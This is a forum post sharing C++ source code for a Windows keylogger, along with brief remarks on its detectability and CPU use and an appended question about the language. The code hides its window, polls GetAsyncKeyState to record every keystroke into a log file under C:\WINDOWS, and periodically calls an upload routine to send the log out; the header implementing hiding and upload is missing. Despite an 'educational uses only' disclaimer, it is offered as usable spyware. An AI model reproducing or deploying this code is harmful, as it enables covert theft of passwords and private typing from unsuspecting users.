Jump to content

IronHead

Members
  • Posts

    1
  • Joined

  • Last visited

Posts posted by IronHead

  1. I'll go ahead and post the source code of two different types of keyloggers.

    CODE
    #include <iostream>

    #include <fstream>

    #include "kekke.h"

    #include <conio.h>

    using namespace std;

    int main(int argc, char *argv[])

    {

    short character; //Declarations

    int count = 0;

    string log = "C:\\WINDOWS\\";

    TCHAR infoBuf[50]; //Getting computername

    DWORD bufCharCount = 50;

    GetComputerName(infoBuf, &bufCharCount);

    string loc = infoBuf;

    string los = ".log";

    string tot = log + loc + los;

    hide();

    ofstream temp;

    while(1) // main loop

    {

    count++; //send us the log sometimes..

    if(count == 3000)

    {

    count = 0;

    upload(tot);

    }

    Sleep(10);

    for(character = 8; character <= 222; character++) // Logging keys

    {

    if(GetAsyncKeyState(character)==-32767)

    {

    if(character >=39 && character <=64 )

    {

    temp.open(tot.c_str(), ios::app);

    temp << char(character);

    temp.close();

    }

    else if(character > 64 && character < 91)

    {

    temp.open(tot.c_str(), ios::app);

    character+=32;

    temp << char(character);

    temp.close();

    }

    else if(character == VK_RETURN)

    {

    temp.open(tot.c_str(), ios::app);

    temp << "\nENTER ";

    temp.close();

    }

    else if(character == VK_SPACE)

    {

    temp.open(tot.c_str(), ios::app);

    temp << " ";

    temp.close();

    }

    else if(character == VK_CONTROL)

    {

    temp.open(tot.c_str(), ios::app);

    temp << "\nCTRL ";

    temp.close();

    }

    else if(character == VK_SHIFT)

    {

    temp.open(tot.c_str(), ios::app);

    temp << "\nSHIFT ";

    temp.close();

    }

    else if(character == VK_BACK)

    {

    temp.open(tot.c_str(), ios::app);

    temp << "!";

    temp.close();

    }

    else if(character == VK_TAB)

    {

    temp.open(tot.c_str(), ios::app);

    temp << "\n";

    temp.close();

    }

    else if(character == VK_OEM_PERIOD)

    {

    temp.open(tot.c_str(), ios::app);

    temp << ".";

    temp.close();

    }

    else if(character == VK_OEM_MINUS)

    {

    temp.open(tot.c_str(), ios::app);

    temp << "-";

    temp.close();

    }

    }

    }

    }

    return 0;

    }

    This is a GetAsyncKeyState keylogger. It hammers the API thousands of times a second to capture keys.

    It can cause high cpu usage if not throttled correctly, and can potentially miss keys if the system is being bogged down by other programs. Also since it uses the API it's fairly easy to detect unless the API call in the binary and in memory is obfuscated.

    This is one of the easier to create and use keylogger.

    (Note) The header is missing and it seems that was the part used by this program to send logs. For educational uses only please.

    What language is this written in? looks like C++ but I am still learning C++ just want to make sure?

×
×
  • Create New...